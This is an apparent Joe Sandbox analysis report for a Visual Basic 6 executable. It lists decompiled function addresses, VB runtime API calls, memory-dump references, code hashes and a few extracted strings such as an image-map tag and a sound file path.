0x0041785e
0x00417863
0x00417869
0x0041786b
0x00417873
0x00417875
0x00417875
0x00417878
0x004178a8
0x004178b1
0x004178b3
0x004178c2
0x004178c9
0x004178cf
0x004178d2
0x004178db
0x004178de
0x004178e4
0x004178f1
0x004178f3
0x004178fd
0x00417900
0x00417903
0x00417906
0x00417909
0x0041790c
0x0041790f
0x00417914
0x00417921
0x00417929
0x00417937
0x00417937
0x00417940
0x00417949
0x0041794c
0x00417952
0x0041795a
0x004179ac
0x004179b4
0x00000000
0x0041795c
0x0041795c
0x0041795f
0x00417964
0x00417966
0x00417a14
0x00417a14
0x00417a23
0x00417a32
0x00417a3f
0x00417a42
0x00417a4b
0x00417a4e
0x00417a54
0x00417a5d
0x00417a60
0x00417a63
0x00417a69
0x00417a74
0x00417a79
0x00417a81
0x00417a86
0x00417a8b
0x00417a91
0x00417a9c
0x00417aa1
0x00417aa6
0x00417aab
0x00417ab4
0x00417ace
0x00417ad4
0x0041796c
0x0041796e
0x00000000
0x00417970
0x00417970
0x00417973
0x00417975
0x00000000
0x0041797b
0x0041797b
0x00417981
0x00417984
0x00417985
0x00000000
0x0041798b
0x0041798d
0x00417994
0x0041799f
0x004179a4
0x004179ba
0x004179e6
0x004179ec
0x004179ec
0x00417985
0x00417975
0x0041796e
0x00417966
0x0041787a
0x00417882
0x00417887
0x00417889
0x0041788f
0x0041789a
0x004178a5
0x004178a5
0x004177d6
0x004177d6
0x004177d9
0x004177df
0x004177e8
0x004177f2
0x004177fd
0x004177fd

APIs

__vbaSetSystemError.MSVBVM60(00080001,000000B0,?,?,?,?,?,?,?,?,?,00401D26), ref: 004177C6
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,00401D26), ref: 00417800
__vbaSetSystemError.MSVBVM60(00080003,000000B0,?,?), ref: 00417869
__vbaSetSystemError.MSVBVM60(00080003,000000B1,?,?), ref: 00417887

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: Error__vba$System$Overflow
String ID:
API String ID: 868049110-0
Opcode ID: b4208f3309b515724842a22f0efa278b354388a228e95db4bbe2ddab71d78020
Instruction ID: ef7cf49ab0a65f07306b2dc3c61cb2db9c88e639ada1fd06a3bad6ff06cd6ac4
Opcode Fuzzy Hash: b4208f3309b515724842a22f0efa278b354388a228e95db4bbe2ddab71d78020
Instruction Fuzzy Hash: 61A13E75D00209AFDB14DFA9D945AEEFBB8FF88700F10802AE915B3660D778A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0041D030, Relevance: 30.2, APIs: 20, Instructions: 216COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0041D0B5
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000000D8), ref: 0041D0DC
__vbaVarForInit.MSVBVM60(?,?,?,?,?,00000002), ref: 0041D120
__vbaFreeObj.MSVBVM60 ref: 0041D12B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041D147
__vbaI2Var.MSVBVM60(?,?), ref: 0041D159
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,00000138), ref: 0041D17B
__vbaFreeObj.MSVBVM60 ref: 0041D187
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041D1A0
__vbaI2Var.MSVBVM60(?,?), ref: 0041D1B2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000000E8), ref: 0041D1D4
__vbaFreeObj.MSVBVM60(00401760,?), ref: 0041D1FA
__vbaFreeVar.MSVBVM60 ref: 0041D203
__vbaVarForNext.MSVBVM60(?,?,?), ref: 0041D21B
__vbaFreeVarList.MSVBVM60(00000002,?,?,0041D27A), ref: 0041D267
__vbaFreeVar.MSVBVM60 ref: 0041D273

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresult$InitListNext
String ID:
API String ID: 3182110704-0
Opcode ID: e7e8942c6e4d492981a24d2389e3e02bb8081b39ec8293a625fea194fc897eae
Instruction ID: 6a85e27ae920267f53d5d76ba3e1e7c53119c4ca6f97be34d9284739ec19b9b4
Opcode Fuzzy Hash: e7e8942c6e4d492981a24d2389e3e02bb8081b39ec8293a625fea194fc897eae
Instruction Fuzzy Hash: 848109B1D00209EFCB10DFA5D988ADEBBB8FF48701F10856AE546B7250DB345A89CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0041C8E0, Relevance: 30.2, APIs: 20, Instructions: 162COMMON

Download Yara Rule

APIs

#593.MSVBVM60(?), ref: 0041C95D
__vbaFPInt.MSVBVM60 ref: 0041C973
__vbaVarMove.MSVBVM60 ref: 0041C98F
__vbaFreeVar.MSVBVM60 ref: 0041C998
__vbaStrCopy.MSVBVM60 ref: 0041C9A6
__vbaVarForInit.MSVBVM60(?,?,?,00000004,?,?), ref: 0041C9E5
#593.MSVBVM60(0000000A), ref: 0041CA21
__vbaFPInt.MSVBVM60 ref: 0041CA37
__vbaFpI4.MSVBVM60 ref: 0041CA4D
#608.MSVBVM60(?,00000000), ref: 0041CA58
__vbaVarCat.MSVBVM60(?,?,00000008), ref: 0041CA6D
__vbaStrVarMove.MSVBVM60(00000000), ref: 0041CA74
__vbaStrMove.MSVBVM60 ref: 0041CA7B
__vbaFreeVarList.MSVBVM60(00000003,0000000A,?,?), ref: 0041CA8B
__vbaVarForNext.MSVBVM60(?,?,?), ref: 0041CAA6
__vbaFreeVar.MSVBVM60(0000000A,00401700,?), ref: 0041CAD5
__vbaFreeVarList.MSVBVM60(00000002,?,?,0041CB3A), ref: 0041CB17
__vbaFreeVar.MSVBVM60 ref: 0041CB29
__vbaFreeStr.MSVBVM60 ref: 0041CB2E
__vbaFreeVar.MSVBVM60 ref: 0041CB37

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$#593List$#608CopyInitNext
String ID:
API String ID: 4148204782-0
Opcode ID: e0988d56768810e98dd338c59231a28b6df2efc98b64c1d13d84d6347c178d24
Instruction ID: 5f35ebb9a6637d0c404a355b193f0a4585f7776cb073dbf18c79494bb6df7b5d
Opcode Fuzzy Hash: e0988d56768810e98dd338c59231a28b6df2efc98b64c1d13d84d6347c178d24
Instruction Fuzzy Hash: 7E613BB1800219DFDB10DF94DD84ADDBB78FF48704F14816AE549B7260DB746A8ACFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004241F0, Relevance: 28.6, APIs: 19, Instructions: 123COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(00000001,00000000,72A26C30), ref: 0042423F
__vbaStrCopy.MSVBVM60 ref: 00424247
__vbaStrCat.MSVBVM60(00411B14,?,?,00000001), ref: 00424258
__vbaStrMove.MSVBVM60 ref: 00424269
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0042426D
__vbaFreeStr.MSVBVM60 ref: 0042427B
__vbaLenBstr.MSVBVM60(?), ref: 0042428D
#631.MSVBVM60(?,-00000002,?,00000001), ref: 004242C2
__vbaStrMove.MSVBVM60 ref: 004242CD
#537.MSVBVM60(00000022,00000000), ref: 004242D2
__vbaStrMove.MSVBVM60 ref: 004242DD
__vbaInStr.MSVBVM60(00000000,00000000), ref: 004242E1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004242FD
__vbaFreeVar.MSVBVM60 ref: 00424309
#631.MSVBVM60(?,-00000002,?), ref: 0042432A
__vbaStrMove.MSVBVM60 ref: 00424335
__vbaFreeStr.MSVBVM60(0042437B), ref: 00424373
__vbaFreeStr.MSVBVM60 ref: 00424378
__vbaErrorOverflow.MSVBVM60 ref: 00424391

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$#631Copy$#537BstrErrorListOverflow
String ID:
API String ID: 2145999145-0
Opcode ID: 869c94eff4719d3445c7680111563ec1679fe1b2f49b43f7d9d87f13be040cf3
Instruction ID: 7b8e4d17f200f24905ac9b7e6a1c082584fd9c0793d708d482427f1cd895d236
Opcode Fuzzy Hash: 869c94eff4719d3445c7680111563ec1679fe1b2f49b43f7d9d87f13be040cf3
Instruction Fuzzy Hash: 69411DB5D00259EFCB14DFA4ED859EEBBB8FB48300F50412AE905B7260DB745945CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00426790, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(004104D8,0042AA34,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004267FE
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000014), ref: 00426823
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104E8,00000050), ref: 00426847
__vbaStrCat.MSVBVM60(\Sounds\Click.wav,?,00000000,00000001), ref: 00426859
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00426864
__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0042686F
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0042687B
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0042688F
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0042689B
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004268B5
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00412014,0000005C), ref: 004268D0
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004268D9
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004268ED
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00412014,0000005C), ref: 00426908
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00426911

Strings

\Sounds\Click.wav, xrefs: 00426854

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$AnsiErrorListMoveNew2System
String ID: \Sounds\Click.wav
API String ID: 2740840597-1585840535
Opcode ID: f857b64f014cd668101273eff1111e7c3b7434942030b36ba6878eb5fcc1e8fe
Instruction ID: 2cc060864ead10da6dbf65f829a6bb4656d60626cb2d236470b8b610472c64ed
Opcode Fuzzy Hash: f857b64f014cd668101273eff1111e7c3b7434942030b36ba6878eb5fcc1e8fe
Instruction Fuzzy Hash: BB415571A00215AFDB109FA4DE89EEE7BB8FF09705F204169F601F71A0D7785945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE40, Relevance: 27.1, APIs: 18, Instructions: 148COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,00000000,?,72A1A274), ref: 0041DE8C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,0000001C), ref: 0041DEB0
__vbaFreeVar.MSVBVM60 ref: 0041DEB9
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DED2
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DEE6
__vbaHresultCheckObj.MSVBVM60(00000000,72A1A237,00411158,00000020), ref: 0041DF09
__vbaFreeVar.MSVBVM60 ref: 0041DF12
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DF22
__vbaHresultCheckObj.MSVBVM60(00000000,72A1A237,00411158,00000024), ref: 0041DF43
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041DF4E
__vbaFreeObj.MSVBVM60 ref: 0041DF57
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DF6A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DF8B
__vbaVarTextTstEq.MSVBVM60(?,?), ref: 0041DF9C
__vbaFreeVar.MSVBVM60 ref: 0041DFA7
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DFBC
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 0041DFC9
__vbaFreeObj.MSVBVM60(0041E00C), ref: 0041E005

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$New2$Free$CheckHresult$Addref$Text
String ID:
API String ID: 2851631601-0
Opcode ID: 3f32f0f8c3371e7541b1ce9ea75cff5f4fb04cdc1715be45626221a2d6cc9bca
Instruction ID: 5e1d30c90b861ca7848139087fe7dc1a9eb11ad966b48f2339337a312027fb64
Opcode Fuzzy Hash: 3f32f0f8c3371e7541b1ce9ea75cff5f4fb04cdc1715be45626221a2d6cc9bca
Instruction Fuzzy Hash: 965163B0900249AFCB14DF95DD89DDEBB78FF58705B208429F641B72A0D7749889CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004183D0, Relevance: 25.7, APIs: 17, Instructions: 159COMMON

Download Yara Rule

APIs

__vbaVarMove.MSVBVM60 ref: 0041841C
#525.MSVBVM60(-00007FFE), ref: 00418453
__vbaStrMove.MSVBVM60 ref: 0041845E
__vbaStrToAnsi.MSVBVM60(?,?), ref: 0041846C
__vbaSetSystemError.MSVBVM60(0041889E,0000000D,-00007FFE,00000000), ref: 00418481
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041848F
__vbaFreeStr.MSVBVM60 ref: 0041849E
__vbaStrCopy.MSVBVM60 ref: 004184AA
__vbaFreeVar.MSVBVM60(004184E3), ref: 004184D3
__vbaFreeStr.MSVBVM60 ref: 004184DC
__vbaErrorOverflow.MSVBVM60 ref: 00418500
__vbaHresultCheckObj.MSVBVM60(00000000,00401528,0040F430,000002B0), ref: 00418577
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410678,0000003C), ref: 0041859B
__vbaFreeObj.MSVBVM60 ref: 004185A7
__vbaStrCopy.MSVBVM60 ref: 004185C5
__vbaFreeStr.MSVBVM60 ref: 004185CE
__vbaStrCopy.MSVBVM60 ref: 004185DA

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Copy$CheckErrorHresultMove$#525AnsiOverflowSystemUnicode
String ID:
API String ID: 727747846-0
Opcode ID: 657152c05121c586db5327124a442754050677307aae7951800f8b752932e4e9
Instruction ID: f487ac9f09a99370c070d56df0fb01880138e9f754481dcb7e66e7c1ad1910b5
Opcode Fuzzy Hash: 657152c05121c586db5327124a442754050677307aae7951800f8b752932e4e9
Instruction Fuzzy Hash: EA518375900219EFCB14DFA4DA88AEEBBB8FF08700F104529F506B7260DB786946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004152F0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

__vbaObjSetAddref.MSVBVM60(?,?), ref: 00415347
__vbaObjIs.MSVBVM60(?,00000000), ref: 0041534E
__vbaCastObj.MSVBVM60(?,00410468), ref: 0041536B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415376
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410468,0000004C), ref: 0041539B
__vbaSetSystemError.MSVBVM60(00080007,00000030,?,00000001), ref: 004153B2
__vbaObjSet.MSVBVM60(?,00000000), ref: 004153C6
__vbaObjSetAddref.MSVBVM60(?,?), ref: 004153DB
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000214), ref: 004153FA
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0041540A
__vbaHresultCheckObj.MSVBVM60(00000000,004012D0,0040F430,00000390), ref: 00415449
__vbaFreeObj.MSVBVM60(0041547B), ref: 00415473
__vbaFreeObj.MSVBVM60 ref: 00415478

Strings

Font, xrefs: 00415418

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Addref$CastErrorListSystem
String ID: Font
API String ID: 3738871781-1889970156
Opcode ID: 0722a3743ff76973780773f3fea71a056cfd66d1a76cb4db333142056a77aa4f
Instruction ID: 6bc4be87af2c07027715a9e2a2bd91cfb8959c292c7f498c447615085812a062
Opcode Fuzzy Hash: 0722a3743ff76973780773f3fea71a056cfd66d1a76cb4db333142056a77aa4f
Instruction Fuzzy Hash: 56412070900209AFCB04DF95D989EEEBBB8FF98701F10811AF545E7260D774A985CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004210B0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00421108
__vbaNew.MSVBVM60(0040BC04), ref: 00421118
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421123
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113E8,00000020), ref: 00421148
__vbaObjSetAddref.MSVBVM60(?,?), ref: 00421178
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00411580,00000020), ref: 004211B2
__vbaCastObj.MSVBVM60(?,004113E8), ref: 004211C1
__vbaObjSet.MSVBVM60(?,00000000), ref: 004211CC
__vbaFreeObj.MSVBVM60 ref: 004211D5
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 004211E9
__vbaObjSetAddref.MSVBVM60(?,?), ref: 004211FA
__vbaFreeObj.MSVBVM60(00421246), ref: 00421236
__vbaFreeStr.MSVBVM60 ref: 0042123F

Strings

@, xrefs: 00421192

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$AddrefCheckHresult$CastCopyList
String ID: @
API String ID: 4087540898-3871860774
Opcode ID: 18d870e09c087d0de79326df0e36169bb7a567c4605603b1e849ecc6936ad90e
Instruction ID: b2c52fb0ff59e548289ddadc2256cc9f5d7e743dd723f6642b544e9356a26b3e
Opcode Fuzzy Hash: 18d870e09c087d0de79326df0e36169bb7a567c4605603b1e849ecc6936ad90e
Instruction Fuzzy Hash: D941F9B1D00209AFDB04DF95DA85AEEBBB8FF58700F20411AE616B72A0D7746A05CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00420180, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrCat.MSVBVM60(004117A4,<area,?,?,?,?,?,?,?,?,00401D26), ref: 004201D5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,00401D26), ref: 004201E2
__vbaStrCat.MSVBVM60(0040F42C,00000000,?,?,?,?,?,?,?,?,00401D26), ref: 004201EA
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,00401D26), ref: 004201F1
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,00401D26), ref: 004201F6

Part of subcall function 00424570: __vbaStrCopy.MSVBVM60(72A26A76,00401978,72A26C30), ref: 004245C2
Part of subcall function 00424570: __vbaStrCopy.MSVBVM60 ref: 004245CA
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,?), ref: 004245E6
Part of subcall function 00424570: __vbaStrCmp.MSVBVM60(0040F38C,00000000,?,?), ref: 004245EE
Part of subcall function 00424570: __vbaFreeStr.MSVBVM60(?,?), ref: 00424600
Part of subcall function 00424570: __vbaStrCmp.MSVBVM60(0040F38C,?,?,?), ref: 00424618
Part of subcall function 00424570: __vbaLenBstr.MSVBVM60(00000000,?,?), ref: 00424629
Part of subcall function 00424570: #616.MSVBVM60(?,-00000001,?,?), ref: 0042463C
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 00424647
Part of subcall function 00424570: __vbaStrCat.MSVBVM60(004117A4,00000000,?,-00000001,?,?), ref: 00424655
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 0042465C
Part of subcall function 00424570: __vbaStrCat.MSVBVM60(?,00000000,?,-00000001,?,?), ref: 00424663
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 0042466A
Part of subcall function 00424570: __vbaStrCat.MSVBVM60(00411B14,00000000,?,-00000001,?,?), ref: 00424672
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 00424679
Part of subcall function 00424570: __vbaStrMove.MSVBVM60(?,00000000,?,-00000001,?,?), ref: 0042468A
Part of subcall function 00424570: __vbaStrCat.MSVBVM60(00000000,?,-00000001,?,?), ref: 0042468D

__vbaStrCopy.MSVBVM60(href,00420DD4,?,coords,00080001,?,shape,rectangle,?,0040F3C8,00420F4F,?), ref: 0042026F
__vbaFreeStr.MSVBVM60(0042029F,?,?,?,?,?,?,?,?,00401D26), ref: 00420298

Strings

polygon, xrefs: 00420220
<area, xrefs: 004201CB
rectangle, xrefs: 00420236
shape, xrefs: 0042023B
coords, xrefs: 0042024D
circle, xrefs: 0042022B
href, xrefs: 0042025F

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Move$CopyFree$#616Bstr
String ID: <area$circle$coords$href$polygon$rectangle$shape
API String ID: 2048072741-4243157096
Opcode ID: 2494ec18348d9b55e87675e74de61997e1f958db62a68283ada1f942f2229400
Instruction ID: 37bbe1c646a04cea47341a5b02a1ee3a9c1d4317476bd568df87fefc4746acc8
Opcode Fuzzy Hash: 2494ec18348d9b55e87675e74de61997e1f958db62a68283ada1f942f2229400
Instruction Fuzzy Hash: C5315071A00219EFCB00DB95D945EFFF7F8EF94700B60806BA511A32A1D7786D05CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041C250, Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0041E590: __vbaRedim.MSVBVM60(00000880,00000010,?,0000000C,00000001,-00000001,00000000,?,00000000,00000000,72A1A274), ref: 0041E5F9
Part of subcall function 0041E590: __vbaNew2.MSVBVM60(0040B730,?), ref: 0041E60E
Part of subcall function 0041E590: __vbaObjSetAddref.MSVBVM60(?), ref: 0041E61B
Part of subcall function 0041E590: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E646
Part of subcall function 0041E590: __vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041E65B
Part of subcall function 0041E590: __vbaFreeVar.MSVBVM60 ref: 0041E667
Part of subcall function 0041E590: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E691

__vbaObjSet.MSVBVM60(?,00000000), ref: 0041C2C6
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001E8), ref: 0041C2E9
__vbaFreeObj.MSVBVM60 ref: 0041C2F2
__vbaVarForInit.MSVBVM60(?,?,?,?,?,?), ref: 0041C335
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041C351
__vbaI4Var.MSVBVM60(?), ref: 0041C378
__vbaGenerateBoundsError.MSVBVM60 ref: 0041C38F
__vbaGenerateBoundsError.MSVBVM60 ref: 0041C39C
__vbaStrVarVal.MSVBVM60(?,?), ref: 0041C3CD
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001EC), ref: 0041C3ED
__vbaFreeStr.MSVBVM60 ref: 0041C3F6
__vbaFreeObj.MSVBVM60 ref: 0041C3FF
__vbaVarForNext.MSVBVM60(?,?,?), ref: 0041C414

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$BoundsErrorGenerate$AddrefInitNew2NextRedimText
String ID:
API String ID: 3227237787-0
Opcode ID: 899f88996e62988197f70b28ac8fe2fba82cc2ea73305debac50e6c58d0c5806
Instruction ID: 8021d3ac604f1cd073d0d69ec38083b76a2f35fe1ad422b5f63be83236697dae
